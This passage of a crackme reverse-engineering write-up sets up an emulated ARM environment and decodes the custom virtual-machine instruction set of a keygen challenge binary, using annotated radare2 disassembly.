Finally i followed the advice of the author to use maemo's scratchbox, so here is a description of how i managed to get it work: 19 | 20 | + i'm on a mac, so i installed ubuntu on virtualbox, gave it 2GB of ram and 16GB hdd 21 | + got this script, executed it: [http://repository.maemo.org/stable/5.0/maemo-scratchbox-install_5.0.sh](http://repository.maemo.org/stable/5.0/maemo-scratchbox-install_5.0.sh) 22 | + after this finished (don't do the error of setting up virtualbox with 512MB of ram, it will not finish), logged out and in again 23 | + started scratchbox with the command: 24 | 25 | ``` 26 | /scratchbox/login 27 | ``` 28 | + created a sandbox using sb-menu with ARM toolchain 29 | + copied the binary into the sandbox 30 | + now the execution is easy, using gdb is slightly more complex: 31 | + run the binary with the command: 32 | 33 | ``` 34 | > qemu-arm-sb -g 6969 ./arm_kgme1 35 | ``` 36 | + in another scratchbox terminal: 37 | 38 | ``` 39 | > gdb ./arm_kgme1 40 | (gdb) target remote 127.0.0.1:6969 41 | ``` 42 | + you're in 43 | 44 | 3. Static analisys 45 | ------------------ 46 | 47 | First of all, the author warns us that there's a virtual machine inside, so let's do the shopping list of what we'll have to find: 48 | 49 | * a program, i.e. an array of data representing a sequence of virtual instructions to be executed by the VM 50 | * an instruction set, typically in the form of a big switch construct or some form of jump table, used by instruction decoder to actually perform single instructions, which are usually implemented as functions 51 | * data structures to hold the state, i.e. registers array, a stack and/or a memory area 52 | * an execution loop, which acts as a virtual processor executing one instruction at a time and coordinating all the state machinery 53 | 54 | Let's spawn [radare2](http://www.radare.org/r/) as usual: 55 | 56 | ```r2 57 | $ r2 arm_kgme1 58 | -- Thank you for using radare2. Have a nice night! 59 | [0x00008368]> aa 60 | [0x00008368]> s main 61 | [0x00008cf8]> V 62 | ``` 63 | 64 | To have the renamable local variables, i did `af` command manually because radare2 failed to recognize main as a function. 65 | 66 | After seeing the greeting printf and the only one read() to get the serial, by hasty visual inspection, it is easy to find the target addresses of the instruction set jump table: 67 | 68 | ; allocate a buffer 1024-bytes wide 69 | 70 | 0x00008d68 010ba0e3 mov r0, 0x400 71 | 0x00008d6c 6efdffeb bl sym.imp.malloc ;[1] 72 | 0x00008d70 84000be5 str r0, [fp-jump_table] 73 | 0x00008d74 84201be5 ldr r2, [fp-jump_table] 74 | 75 | ; load and store the first target address: 0x8494 76 | 77 | 0x00008d78 a8329fe5 ldr r3, [pc, 0x2a8] ; [0x9028:4]=0x8494 78 | 0x00008d7c 003082e5 str r3, [r2] 79 | 0x00008d80 0420a0e3 mov r2, 4 80 | 0x00008d84 84301be5 ldr r3, [fp-jump_table] 81 | 0x00008d88 032082e0 add r2, r2, r3 82 | 83 | ; load and store the second 84 | 85 | 0x00008d8c 98329fe5 ldr r3, [pc, 0x298] ; [0x902c:4]=0x8544 86 | 87 | ; and so on 88 | [...] 89 | 90 | 91 | In total there are apparently 11 different instructions, let's note the addresses of the functions for further inspection and go on to find the other things in our shopping list. 92 | 93 | Suddenly, there is an sscanf(): 94 | 95 | ; r0 is the string to scan from: our input 96 | 97 | 0x00008e70 7c004be2 sub r0, fp, 0x7c 98 | 99 | ; put the variable arguments in the stack, these are 100 | ; the capture variables of sscanf 101 | 102 | 0x00008e74 94301be5 ldr r3, [fp-registers] 103 | 0x00008e78 04c083e2 add ip, r3, 4 104 | 0x00008e7c 94301be5 ldr r3, [fp-registers] 105 | 0x00008e80 083083e2 add r3, r3, 8 106 | 0x00008e84 00308de5 str r3, [sp] 107 | 0x00008e88 94301be5 ldr r3, [fp-registers] 108 | 0x00008e8c 0c3083e2 add r3, r3, 0xc 109 | 0x00008e90 04308de5 str r3, [sp, 4] 110 | 0x00008e94 94301be5 ldr r3, [fp-registers] 111 | 0x00008e98 103083e2 add r3, r3, 0x10 112 | 0x00008e9c 08308de5 str r3, [sp, 8] 113 | 0x00008ea0 94301be5 ldr r3, [fp-registers] 114 | 0x00008ea4 143083e2 add r3, r3, 0x14 115 | 0x00008ea8 0c308de5 str r3, [sp, 0xc] 116 | 117 | ; the format string: "%x,%x,%x,%x,%x,%x" 118 | ; the string is retrievable using the command: 119 | ; iz~9138 120 | 121 | 0x00008eac a0119fe5 ldr r1, [pc, 0x1a0] ; [0x9054:4]=0x9138 str._x__x__x 122 | 0x00008eb0 94201be5 ldr r2, [fp-registers] 123 | 0x00008eb4 0c30a0e1 mov r3, ip 124 | 0x00008eb8 1efdffeb bl sym.imp.sscanf ;[1] 125 | 0x00008ebc a0000be5 str r0, [fp-local_40] 126 | 0x00008ec0 a0301be5 ldr r3, [fp-local_40] 127 | 128 | ; check that parsed items are exacly six 129 | 130 | 0x00008ec4 060053e3 cmp r3, 6 131 | 0x00008ec8 0000000a beq 0x8ed0 ;[2] 132 | 133 | ; otherwise fail 134 | 135 | 0x00008ecc 4d0000ea b 0x9008 ;[3] 136 | 137 | 138 | 139 | From this we can start to figure out which is the input format: a list of six hexadecimal numbers, comma separated. 140 | 141 | Note that i called the array "registers". This is a little spoiler, but our six numbers are set as values of the first six registers (r0-r5). 142 | 143 | By following the successful path, after a couple of register initializations (registers[8]=0, registers[13]=32), we incur in the following visual clue: 144 | 145 | ; a call to a function 146 | 147 | 0x00008ef8 94004be2 sub r0, fp, 0x94 148 | 0x00008efc 43fdffeb bl 0x8410 ; fcn.00008404+0xc ;[3] 149 | 150 | ; a scary-looking grave of madness: 151 | 152 | 0x00008f00 00062037 strlo r0, [r0, -r0, lsl 12]! 153 | 0x00008f04 0007b979 ldmibvc sb!, {r8, sb, sl} 154 | 0x00008f08 0106c6ef svc 0xc60601 155 | 0x00008f0c 01079e37 ldrlo r0, [lr, r1, lsl 14] 156 | 0x00008f10 05000001 invalid 157 | 0x00008f14 06090101 mrseq r0, apsr 158 | 0x00008f18 08090501 mrseq r0, apsr 159 | 0x00008f1c 02090905 streq r0, [sb, -0x902] 160 | 0x00008f20 020a0006 streq r0, [r0], -r2, lsl 20 161 | 0x00008f24 05000301 mrseq r0, apsr 162 | 0x00008f28 060b0101 invalid 163 | 0x00008f2c 080b0400 andeq r0, r4, r8, lsl 22 164 | [...] ; continuing until 0x00008fc4 165 | 166 | This means that maybe we've found the virtual program, which radare is incorrectly interpreting as ARM. Let's take note of start and end address, for further analisys. 167 | 168 | To view it in a way that permits us to copy-paste the whole program, the commands are: 169 | 170 | :> e hex.cols=4 171 | :> pxw 0xc8 @ 0x8f00 172 | 173 | The called function, instead, ends up being our virtual processor. The main loop does: 174 | 175 | 0x00008414 00a0a0e1 mov sl, r0 176 | 0x00008418 04009ae5 ldr r0, [sl, 4] 177 | 0x0000841c 00608ee0 add r6, lr, r0 178 | 0x00008420 00009ae5 ldr r0, [sl] 179 | 180 | ; store the instruction pointer into registers[31] 181 | ; (31 because is 0x7c/4, assuming all 32-bits registers) 182 | 183 | 0x00008424 7ce080e5 str lr, [r0, 0x7c] 184 | 185 | ; store a previously allocated buffer in registers[30] 186 | ; that may be a stack 187 | 188 | 0x00008428 08109ae5 ldr r1, [sl, 8] 189 | 0x0000842c 781080e5 str r1, [r0, 0x78] 190 | 191 | ; start of the loop: fetch the 32-bit instruction from 192 | ; current instruction pointer 193 | 194 | ┌─> 0x00008430 00009ae5 ldr r0, [sl] 195 | │ 0x00008434 7c4090e5 ldr r4, [r0, 0x7c] 196 | │ 0x00008438 004094e5 ldr r4, [r4] 197 | 198 | ; use the lower bit to index the jump_table of 199 | ; the instruction set 200 | 201 | │ 0x0000843c ff3004e2 and r3, r4, 0xff 202 | │ 0x00008440 10009ae5 ldr r0, [sl, 0x10] 203 | │ 0x00008444 033180e0 add r3, r0, r3, lsl 2 204 | 205 | ; split the rest of the instruction bytes in 3 206 | ; 1-byte values, these will be the instruction's params 207 | 208 | │ 0x00008448 4404a0e1 asr r0, r4, 8 209 | │ 0x0000844c ff0000e2 and r0, r0, 0xff 210 | │ 0x00008450 4418a0e1 asr r1, r4, 0x10 211 | │ 0x00008454 ff1001e2 and r1, r1, 0xff 212 | │ 0x00008458 442ca0e1 asr r2, r4, 0x18 213 | │ 0x0000845c ff2002e2 and r2, r2, 0xff 214 | 215 | ; load the jump_table target address for the current 216 | ; instruction 217 | 218 | │ 0x00008460 00c093e5 ldr ip, [r3] 219 | │ 0x00008464 0a30a0e1 mov r3, sl 220 | 221 | ; save the state and jump 222 | 223 | │ 0x00008468 00402de9 stmdb sp!, {lr} 224 | │ 0x0000846c 0fe0a0e1 mov lr, pc 225 | │ 0x00008470 04e08ee2 add lr, lr, 4 226 | │ 0x00008474 0cf0a0e1 mov pc, ip 227 | 228 | ; cleanup, as nothing happened 229 | 230 | │ 0x00008478 0040bde8 ldm sp!, {lr} 231 | │ 0x0000847c 00009ae5 ldr r0, [sl] 232 | 233 | ; check the instuction pointer, go on if the virtual program 234 | ; is not finished 235 | 236 | │ 0x00008480 7c4090e5 ldr r4, [r0, 0x7c] 237 | │ 0x00008484 060054e1 cmp r4, r6 238 | └─< 0x00008488 e8ffff1a bne 0x8430 ;[1] 239 | 0x0000848c ff1fbde8 pop {r0, r1, r2, r3, r4, r5, r6, r7, r8, sb, sl, fp, ip} 240 | 241 | ; virtual program is finished, go to the epilogue 242 | 243 | ┌──< 0x00008490 cc0200ea b 0x8fc8 ; main+0x2d0 ;[2] 244 | 245 | The epilogue simply checks that registers[0] and registers[1] are both ones, if so SUCCESS, otherwise FAIL. 246 | 247 | 3.1 The instruction set 248 | ----------------------- 249 | 250 | Now that we have the big picture, let's dive into the promised 11 instructions one by one. This is long, so feel free to skip to section 4 if you're busy. 251 | 252 | The names of the instructions are invented by me, roughly taking their semantic equivalents from x86 or - in some cases - from mips dialects. In examples and disassembly, the order of operands is the INTEL syntax (destination, left, right). 253 | 254 | When talking about "instruction byte-wide params" i refer to the three bytes of the instruction code other than the index in the jump table, in little endian order. 255 | 256 | ### 3.1.1 LLI - load lower immediate 257 | 258 | This instruction replaces the lower 16-bits of destination register with the provided 16-bits constant. 259 | 260 | Example: `lli r6, 0x3720` 261 | 262 | Code: 263 | 264 | [...] ; cut: initialize local variables 265 | ; with arg1, arg2, arg3 and the pointer to 266 | ; the pointer to the registers array 267 | ; this will be the same for all instructions, so 268 | ; i will omit it 269 | 270 | 0x000084c0 ldr r1, [fp-registers_ptr_ptr] 271 | 0x000084c4 ldrb r3, [fp-arg1] 272 | 0x000084c8 lsl r2, r3, 2 273 | 0x000084cc ldr r3, [r1] 274 | 275 | ; store in r0 a pointer to the destination 276 | ; register 277 | 278 | 0x000084d0 add r0, r2, r3 279 | 280 | ; load the register value in r3 281 | 282 | 0x000084d4 ldr r1, [fp-registers_ptr_ptr] 283 | 0x000084d8 ldrb r3, [fp-arg1] 284 | 0x000084dc lsl r2, r3, 2 285 | 0x000084e0 ldr r3, [r1] 286 | 0x000084e4 add r3, r2, r3 287 | 0x000084e8 ldr r3, [r3] 288 | 289 | ; clean the lower 16 bits 290 | 291 | 0x000084ec lsr r2, r3, 0x10 292 | 0x000084f0 lsl r2, r2, 0x10 293 | 294 | ; load and combine the two arguments 295 | ; into one 16-bit value 296 | 297 | 0x000084f4 ldrb r1, [fp-arg2] 298 | 0x000084f8 ldrb r3, [fp-arg3] 299 | 0x000084fc lsl r3, r3, 8 300 | 0x00008500 orr r3, r1, r3 301 | 302 | ; fill the previously cleaned register's bits 303 | 304 | 0x00008504 orr r3, r2, r3 305 | 306 | ; store it back 307 | 308 | 0x00008508 str r3, [r0] 309 | 310 | ; increment the instruction pointer by 4 and return 311 | ; this is the same for all instruction implementations, 312 | ; so i will omit it when obvious 313 | 314 | 0x0000850c ldr r3, [fp-registers_ptr_ptr] 315 | 0x00008510 mov r2, 0x7c 316 | 0x00008514 ldr r3, [r3] 317 | 0x00008518 add r1, r2, r3 318 | 0x0000851c ldr r3, [fp-registers_ptr_ptr] 319 | 0x00008520 mov r2, 0x7c 320 | 0x00008524 ldr r3, [r3] 321 | 0x00008528 add r3, r2, r3 322 | 0x0000852c ldr r3, [r3] 323 | 0x00008530 add r3, r3, 4 324 | 0x00008534 str r3, [r1] 325 | 0x00008538 mov r0, 0xc 326 | 0x0000853c sub sp, fp, 0xc 327 | 0x00008540 ldm sp, {fp, sp, pc} 328 | 329 | 330 | ### 3.1.2 LUI - load upper immediate 331 | 332 | This instruction replaces the higher 16-bits of destination register with the provided 16-bits constant. 333 | 334 | Example: `lui r6, 0xc6ef` 335 | 336 | Code: 337 | 338 | [...] 339 | 340 | 0x00008570 ldr r1, [fp-registers_ptr_ptr] 341 | 0x00008574 ldrb r3, [fp-arg1] 342 | 0x00008578 lsl r2, r3, 2 343 | 0x0000857c ldr r3, [r1] 344 | 345 | ; ip will hold a pointer to the destination register 346 | 347 | 0x00008580 add ip, r2, r3 348 | 349 | ; load and combine args to a single 16-bit number 350 | 351 | 0x00008584 ldrb r2, [fp-arg3] 352 | 0x00008588 ldrb r3, [fp-arg2] 353 | 0x0000858c lsl r3, r3, 8 354 | 0x00008590 orr r3, r2, r3 355 | 356 | ; move the 16-bits to the upper half 357 | 358 | 0x00008594 lsl r0, r3, 0x10 359 | 360 | ; load register value 361 | 362 | 0x00008598 ldr r1, [fp-registers_ptr_ptr] 363 | 0x0000859c ldrb r3, [fp-arg1] 364 | 0x000085a0 lsl r2, r3, 2 365 | 0x000085a4 ldr r3, [r1] 366 | 0x000085a8 add r3, r2, r3 367 | 0x000085ac ldr r3, [r3] 368 | 369 | ; clean the upper half 370 | 371 | 0x000085b0 lsl r3, r3, 0x10 372 | 0x000085b4 lsr r3, r3, 0x10 373 | 374 | ; merge the provided constant 375 | 376 | 0x000085b8 orr r3, r0, r3 377 | 378 | ; store it back 379 | 380 | 0x000085bc str r3, [ip] 381 | 382 | [...] 383 | 384 | ### 3.1.3 ADD - yeah, the add 385 | 386 | Adds two registers and place the result in the destination register. 387 | 388 | Example: `add r9, r9, r5` 389 | 390 | Code: 391 | 392 | [...] 393 | 394 | 0x00008c10 ldr r1, [fp-registers_ptr_ptr] 395 | 0x00008c14 ldrb r3, [fp-arg1] 396 | 0x00008c18 lsl r2, r3, 2 397 | 0x00008c1c ldr r3, [r1] 398 | 399 | ; ip holds a pointer to dst 400 | 401 | 0x00008c20 add ip, r2, r3 402 | 0x00008c24 ldr r1, [fp-registers_ptr_ptr] 403 | 0x00008c28 ldrb r3, [fp-arg2] 404 | 0x00008c2c lsl r2, r3, 2 405 | 0x00008c30 ldr r3, [r1] 406 | 407 | ; r0 holds a pointer to arg2 408 | 409 | 0x00008c34 add r0, r2, r3 410 | 0x00008c38 ldr r1, [fp-registers_ptr_ptr] 411 | 0x00008c3c ldrb r3, [fp-arg3] 412 | 0x00008c40 lsl r2, r3, 2 413 | 0x00008c44 ldr r3, [r1] 414 | 415 | ; r3 holds a pointer to arg3 416 | 417 | 0x00008c48 add r3, r2, r3 418 | 419 | ; load arg2 and arg3 values 420 | 421 | 0x00008c4c ldr r2, [r0] 422 | 0x00008c50 ldr r3, [r3] 423 | 424 | ; add them 425 | 426 | 0x00008c54 add r3, r2, r3 427 | 428 | ; store the result in dst 429 | 430 | 0x00008c58 str r3, [ip] 431 | 432 | [...] 433 | 434 | ### 3.1.4 JE/JNE - jump if equal/not-equal 435 | 436 | Jump to a 16-bit relative address, defined by first 2 byte-params. The behaviour equal/not-equal is decided by the third parameter. The zero flag is checked to decide the equality state. 437 | 438 | Example: `jne 0x00000004` 439 | 440 | Code: 441 | 442 | [...] 443 | 444 | ; combine arg2 and arg3 in a single 445 | ; 16 bit (relative, signed) address 446 | ; and save it to jmp_offset 447 | 448 | 0x00008624 ldrb r3, [fp-arg3] 449 | 0x00008628 mov r2, r3 450 | 0x0000862c ldrb r3, [fp-arg2] 451 | 0x00008630 lsl r3, r3, 8 452 | 0x00008634 orr r3, r2, r3 453 | 0x00008638 strh r3, [fp-jmp_offset] 454 | 455 | ; arg1 will decide eq/not-eq in this way: 456 | ; the sign bit will decide equality, while the 457 | ; rest of bits apparently decide which flag to test 458 | 459 | 0x0000863c ldr r1, [fp-registers_ptr_ptr] 460 | 0x00008640 ldrb r3, [fp-arg1] 461 | 0x00008644 and r3, r3, 0x7f 462 | 0x00008648 lsl r2, r3, 2 463 | 464 | ; flags array 465 | 466 | 0x0000864c ldr r3, [r1, 0xc] 467 | 0x00008650 add r3, r2, r3 468 | 469 | ; read the flag value (indexed by lower 7 bits of arg1) 470 | 471 | 0x00008654 ldr r3, [r3] 472 | 0x00008658 cmp r3, 1 473 | ┌─< 0x0000865c bne 0x86d4 474 | 475 | ; flag is one, let's check arg1 sign 476 | 477 | │ 0x00008660 ldrsb r3, [fp-arg1] 478 | │ 0x00008664 cmp r3, 0 479 | ┌──< 0x00008668 bge 0x869c 480 | 481 | ; flag is one and sign is negative, don't jump: 482 | ; increment the instruction pointer by 4 as usual 483 | 484 | ││ 0x0000866c ldr r3, [fp-registers_ptr_ptr] 485 | ││ 0x00008670 mov r2, 0x7c 486 | ││ 0x00008674 ldr r3, [r3] 487 | ││ 0x00008678 add r1, r2, r3 488 | ││ 0x0000867c ldr r3, [fp-registers_ptr_ptr] 489 | ││ 0x00008680 mov r2, 0x7c 490 | ││ 0x00008684 ldr r3, [r3] 491 | ││ 0x00008688 add r3, r2, r3 492 | ││ 0x0000868c ldr r3, [r3] 493 | ││ 0x00008690 add r3, r3, 4 494 | ││ 0x00008694 str r3, [r1] 495 | ┌───< 0x00008698 b 0x8744 496 | 497 | ; flag is one and sign is positive; jump 498 | 499 | │└──> 0x0000869c ldr r3, [fp-registers_ptr_ptr] 500 | │ │ 0x000086a0 mov r2, 0x7c 501 | │ │ 0x000086a4 ldr r3, [r3] 502 | │ │ 0x000086a8 add r0, r2, r3 503 | │ │ 0x000086ac ldr r3, [fp-registers_ptr_ptr] 504 | │ │ 0x000086b0 mov r2, 0x7c 505 | │ │ 0x000086b4 ldr r3, [r3] 506 | │ │ 0x000086b8 add r1, r2, r3 507 | 508 | ; increment the instruction pointer by the 509 | ; previously calculated jmp_offset 510 | 511 | │ │ 0x000086bc ldrsh r3, [fp-jmp_offset] 512 | │ │ 0x000086c0 lsl r2, r3, 2 513 | │ │ 0x000086c4 ldr r3, [r1] 514 | │ │ 0x000086c8 add r3, r3, r2 515 | │ │ 0x000086cc str r3, [r0] 516 | ┌────< 0x000086d0 b 0x8744 517 | 518 | ; flag is zero, let's check arg1 sign 519 | 520 | ││ └─> 0x000086d4 ldrsb r3, [fp-arg1] 521 | ││ 0x000086d8 cmp r3, 0 522 | ┌─────< 0x000086dc bge 0x8718 523 | 524 | ; flag is zero and sign is negative, jump! 525 | 526 | │││ 0x000086e0 ldr r3, [fp-registers_ptr_ptr] 527 | │││ 0x000086e4 mov r2, 0x7c 528 | │││ 0x000086e8 ldr r3, [r3] 529 | │││ 0x000086ec add r0, r2, r3 530 | │││ 0x000086f0 ldr r3, [fp-registers_ptr_ptr] 531 | │││ 0x000086f4 mov r2, 0x7c 532 | │││ 0x000086f8 ldr r3, [r3] 533 | │││ 0x000086fc add r1, r2, r3 534 | 535 | ; increment the instruction pointer by the 536 | ; previously calculated jmp_offset 537 | 538 | │││ 0x00008700 ldrsh r3, [fp-jmp_offset] 539 | │││ 0x00008704 lsl r2, r3, 2 540 | │││ 0x00008708 ldr r3, [r1] 541 | │││ 0x0000870c add r3, r3, r2 542 | │││ 0x00008710 str r3, [r0] 543 | ┌──────< 0x00008714 b 0x8744 544 | 545 | ; flag is zero and arg1 is positive, don't jump 546 | 547 | │└─────> 0x00008718 ldr r3, [fp-registers_ptr_ptr] 548 | │ ││ 0x0000871c mov r2, 0x7c 549 | │ ││ 0x00008720 ldr r3, [r3] 550 | │ ││ 0x00008724 add r1, r2, r3 551 | │ ││ 0x00008728 ldr r3, [fp-registers_ptr_ptr] 552 | │ ││ 0x0000872c mov r2, 0x7c 553 | │ ││ 0x00008730 ldr r3, [r3] 554 | │ ││ 0x00008734 add r3, r2, r3 555 | │ ││ 0x00008738 ldr r3, [r3] 556 | 557 | ; increment by 4 as usual 558 | 559 | │ ││ 0x0000873c add r3, r3, 4 560 | │ ││ 0x00008740 str r3, [r1] 561 | 562 | ; cleanup & return 563 | 564 | └─└└───> 0x00008744 mov r0, 0xc 565 | 0x00008748 sub sp, fp, 0xc 566 | 0x0000874c ldm sp, {fp, sp, pc} 567 | 568 | ### 3.1.5 CMP - comparison 569 | 570 | If the two provided registers are the same, the zero flag is raised, otherwise cleared. This is the only instruction with flag effects. 571 | 572 | Example: `cmp r8, r13` 573 | 574 | Code: 575 | 576 | [...] 577 | 578 | ; radare2 failed in recognizing the local 579 | ; variable for arg3 because it's stored but 580 | ; never used. If this is a bug, it's a useful one. 581 | 582 | 0x00008774 mov r3, r2 583 | 0x00008778 strb r3, [fp, -0xf] 584 | 585 | ; load a pointer to the left register in r0 586 | 587 | 0x0000877c ldr r1, [fp-registers_ptr_ptr] 588 | 0x00008780 ldrb r3, [fp-arg1] 589 | 0x00008784 lsl r2, r3, 2 590 | 0x00008788 ldr r3, [r1] 591 | 0x0000878c add r0, r2, r3 592 | 593 | ; load also the right register 594 | 595 | 0x00008790 ldr r1, [fp-registers_ptr_ptr] 596 | 0x00008794 ldrb r3, [fp-arg2] 597 | 0x00008798 lsl r2, r3, 2 598 | 0x0000879c ldr r3, [r1] 599 | 0x000087a0 add r3, r2, r3 600 | 601 | ; load values 602 | 603 | 0x000087a4 ldr r2, [r0] 604 | 0x000087a8 ldr r3, [r3] 605 | 606 | ; do the comparison 607 | 608 | 0x000087ac cmp r2, r3 609 | ┌─< 0x000087b0 bne 0x87d0 610 | 611 | ; they are equal, set the flag 612 | 613 | │ 0x000087b4 ldr r3, [fp-registers_ptr_ptr] 614 | │ 0x000087b8 mov r2, 4 615 | │ 0x000087bc ldr r3, [r3, 0xc] 616 | │ 0x000087c0 add r2, r2, r3 617 | │ 0x000087c4 mov r3, 1 618 | 619 | ; store one in flags[1], the sign flag 620 | 621 | │ 0x000087c8 str r3, [r2] 622 | ┌──< 0x000087cc b 0x87e8 623 | 624 | ; they are not equal, store 0 in flags[1] 625 | 626 | │└─> 0x000087d0 ldr r3, [fp-registers_ptr_ptr] 627 | │ 0x000087d4 mov r2, 4 628 | │ 0x000087d8 ldr r3, [r3, 0xc] 629 | │ 0x000087dc add r2, r2, r3 630 | │ 0x000087e0 mov r3, 0 631 | │ 0x000087e4 str r3, [r2] 632 | 633 | [...] 634 | 635 | ### 3.1.6 PUSH - push a register to the stack 636 | 637 | Yeah, it pushes a register to the stack. And increase the stack pointer. 638 | 639 | Code: 640 | 641 | [...] 642 | 643 | ; load the stack base pointer in r0 644 | 645 | 0x0000884c ldr r3, [fp-registers_ptr_ptr] 646 | 0x00008850 mov r2, 0x78 647 | 0x00008854 ldr r3, [r3] 648 | 0x00008858 add r3, r2, r3 649 | 0x0000885c ldr r0, [r3] 650 | 651 | ; load the register value in r3 652 | 653 | 0x00008860 ldr r1, [fp-registers_ptr_ptr] 654 | 0x00008864 ldrb r3, [fp-arg1] 655 | 0x00008868 lsl r2, r3, 2 656 | 0x0000886c ldr r3, [r1] 657 | 0x00008870 add r3, r2, r3 658 | 0x00008874 ldr r3, [r3] 659 | 660 | ; put the value on the stack 661 | 662 | 0x00008878 str r3, [r0] 663 | 664 | ; increment the stack pointer by 4 665 | ; and store it back 666 | 667 | 0x0000887c ldr r3, [fp-registers_ptr_ptr] 668 | 0x00008880 mov r2, 0x78 669 | 0x00008884 ldr r3, [r3] 670 | 0x00008888 add r1, r2, r3 671 | 0x0000888c ldr r3, [fp-registers_ptr_ptr] 672 | 0x00008890 mov r2, 0x78 673 | 0x00008894 ldr r3, [r3] 674 | 0x00008898 add r3, r2, r3 675 | 0x0000889c ldr r3, [r3] 676 | 0x000088a0 add r3, r3, 4 677 | 0x000088a4 str r3, [r1] 678 | 679 | [...] 680 | 681 | ### 3.1.7 POP - pop a register for the stack 682 | 683 | Decreases the stack pointer and pops a register off the stack. 684 | 685 | Cumulative example (this is the replacement of the missing MOV): 686 | 687 | push r0 688 | pop r9 689 | 690 | Code: 691 | 692 | [...] 693 | 694 | ; load the address of stack pointer r3 695 | 696 | 0x0000890c ldr r3, [fp-registers_ptr_ptr] 697 | 0x00008910 mov r2, 0x78 698 | 0x00008914 ldr r3, [r3] 699 | 0x00008918 add r1, r2, r3 700 | 701 | ; decrement the stack pointer and store it back 702 | 703 | 0x0000891c ldr r3, [fp-registers_ptr_ptr] 704 | 0x00008920 mov r2, 0x78 705 | 0x00008924 ldr r3, [r3] 706 | 0x00008928 add r3, r2, r3 707 | 0x0000892c ldr r3, [r3] 708 | 0x00008930 sub r3, r3, 4 709 | 0x00008934 str r3, [r1] 710 | 711 | ; load a pointer to dst register in r1 712 | 713 | 0x00008938 ldr r1, [fp-registers_ptr_ptr] 714 | 0x0000893c ldrb r3, [fp-arg1] 715 | 0x00008940 lsl r2, r3, 2 716 | 0x00008944 ldr r3, [r1] 717 | 0x00008948 add r1, r2, r3 718 | 719 | ; read the stack value and store it in dst 720 | 721 | 0x0000894c ldr r3, [fp-registers_ptr_ptr] 722 | 0x00008950 mov r2, 0x78 723 | 0x00008954 ldr r3, [r3] 724 | 0x00008958 add r3, r2, r3 725 | 0x0000895c ldr r3, [r3] 726 | 0x00008960 ldr r3, [r3] 727 | 0x00008964 str r3, [r1] 728 | 729 | [...] 730 | 731 | ### 3.1.8 SUB - the mainstream subtraction 732 | 733 | Subtracts the second register from the first, placing the result in the destination register. 734 | 735 | Example: `sub r1, r1, r12` 736 | 737 | Code: 738 | 739 | [...] 740 | 741 | ; pointer to dst in ip 742 | 743 | 0x00008b60 ldr r1, [fp-registers_ptr_ptr] 744 | 0x00008b64 ldrb r3, [fp-arg1] 745 | 0x00008b68 lsl r2, r3, 2 746 | 0x00008b6c ldr r3, [r1] 747 | 0x00008b70 add ip, r2, r3 748 | 749 | ; pointer to left operand in r0 750 | 751 | 0x00008b74 ldr r1, [fp-registers_ptr_ptr] 752 | 0x00008b78 ldrb r3, [fp-arg2] 753 | 0x00008b7c lsl r2, r3, 2 754 | 0x00008b80 ldr r3, [r1] 755 | 0x00008b84 add r0, r2, r3 756 | 757 | ; pointer to right operand in r3 758 | 759 | 0x00008b88 ldr r1, [fp-registers_ptr_ptr] 760 | 0x00008b8c ldrb r3, [fp-arg3] 761 | 0x00008b90 lsl r2, r3, 2 762 | 0x00008b94 ldr r3, [r1] 763 | 0x00008b98 add r3, r2, r3 764 | 765 | ; load left and right values 766 | 767 | 0x00008b9c ldr r2, [r0] 768 | 0x00008ba0 ldr r3, [r3] 769 | 770 | ; subract (left-right) 771 | 772 | 0x00008ba4 rsb r3, r3, r2 773 | 774 | ; store the result in dst 775 | 776 | 0x00008ba8 str r3, [ip] 777 | 778 | [...] 779 | 780 | ### 3.1.9 SHL/SHR - shift left/right 781 | 782 | Shifts a register by a byte-wide constant. The direction is decided by the third parameter. 783 | 784 | Example: `shr r9, 0x05` 785 | 786 | Code: 787 | 788 | [...] 789 | 790 | ; arg3 encodes the direction of the shift 791 | 792 | 0x000089cc ldrb r3, [fp-arg3] 793 | 0x000089d0 cmp r3, 1 794 | ┌─< 0x000089d4 bne 0x8a14 795 | 796 | ; direction is one, means "shift right" 797 | 798 | ; load a pointer to dst in r0 799 | 800 | │ 0x000089d8 ldr r1, [fp-registers_ptr_ptr] 801 | │ 0x000089dc ldrb r3, [fp-arg1] 802 | │ 0x000089e0 lsl r2, r3, 2 803 | │ 0x000089e4 ldr r3, [r1] 804 | │ 0x000089e8 add r0, r2, r3 805 | 806 | ; load the value of dst in r3, and the shift 807 | ; amount from arg2 808 | 809 | │ 0x000089ec ldr r1, [fp-registers_ptr_ptr] 810 | │ 0x000089f0 ldrb r3, [fp-arg1] 811 | │ 0x000089f4 lsl r2, r3, 2 812 | │ 0x000089f8 ldr r3, [r1] 813 | │ 0x000089fc add r3, r2, r3 814 | │ 0x00008a00 ldrb r2, [fp-arg2] 815 | │ 0x00008a04 ldr r3, [r3] 816 | 817 | ; perform the right shift 818 | 819 | │ 0x00008a08 lsr r3, r3, r2 820 | 821 | ; store it back to dst 822 | 823 | │ 0x00008a0c str r3, [r0] 824 | ┌──< 0x00008a10 b 0x8a4c 825 | 826 | ; direction is not one, it means "shift left" 827 | 828 | │└─> 0x00008a14 ldr r1, [fp-registers_ptr_ptr] 829 | │ 0x00008a18 ldrb r3, [fp-arg1] 830 | │ 0x00008a1c lsl r2, r3, 2 831 | │ 0x00008a20 ldr r3, [r1] 832 | │ 0x00008a24 add r0, r2, r3 833 | │ 0x00008a28 ldr r1, [fp-registers_ptr_ptr] 834 | │ 0x00008a2c ldrb r3, [fp-arg1] 835 | │ 0x00008a30 lsl r2, r3, 2 836 | │ 0x00008a34 ldr r3, [r1] 837 | │ 0x00008a38 add r3, r2, r3 838 | │ 0x00008a3c ldrb r2, [fp-arg2] 839 | │ 0x00008a40 ldr r3, [r3] 840 | 841 | ; this time shift left 842 | 843 | │ 0x00008a44 lsl r3, r3, r2 844 | 845 | ; and store it back 846 | 847 | │ 0x00008a48 str r3, [r0] 848 | 849 | [...] 850 | 851 | ### 3.1.10 XOR - exclusive or 852 | 853 | XORs two registers and place the result in the destination register. 854 | 855 | Example: `xor r12, r11, r10` 856 | 857 | Code: 858 | 859 | [...] 860 | 861 | ; pointer to dst, in ip 862 | 863 | 0x00008ab0 ldr r1, [fp-registers_ptr_ptr] 864 | 0x00008ab4 ldrb r3, [fp-arg1] 865 | 0x00008ab8 lsl r2, r3, 2 866 | 0x00008abc ldr r3, [r1] 867 | 0x00008ac0 add ip, r2, r3 868 | 869 | ; pointer to left operand in r0 870 | 871 | 0x00008ac4 ldr r1, [fp-registers_ptr_ptr] 872 | 0x00008ac8 ldrb r3, [fp-arg2] 873 | 0x00008acc lsl r2, r3, 2 874 | 0x00008ad0 ldr r3, [r1] 875 | 0x00008ad4 add 